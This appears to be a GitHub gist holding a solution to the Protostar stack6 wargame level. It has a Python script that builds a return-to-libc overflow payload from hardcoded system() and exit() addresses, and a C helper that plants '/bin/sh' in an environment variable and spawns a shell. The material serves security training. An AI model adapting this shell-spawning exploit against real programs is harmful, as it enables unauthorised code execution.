Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save amustaque97/7f689a637b71a04bd1e4f03742cae2ec to your computer and use it in GitHub Desktop.
Save amustaque97/7f689a637b71a04bd1e4f03742cae2ec to your computer and use it in GitHub Desktop.
stack6_protostar.txt
============== payload file ============
import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system_addr = struct.pack('I',0xb7ecffb0)
exit_addr = struct.pack('I',0xb7ec60c0)
egg_var = struct.pack('I',0xbfffff95)
print padding+system_addr+exit_addr+egg_var
================ setup file ===============
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *ptr = getenv("EGG");
if (ptr != NULL)
printf("Estimated address: %p\n",ptr);
printf("Setting up environment...\n");
setenv("EGG","/bin/sh",1);
execl("/bin/sh",(char *) NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment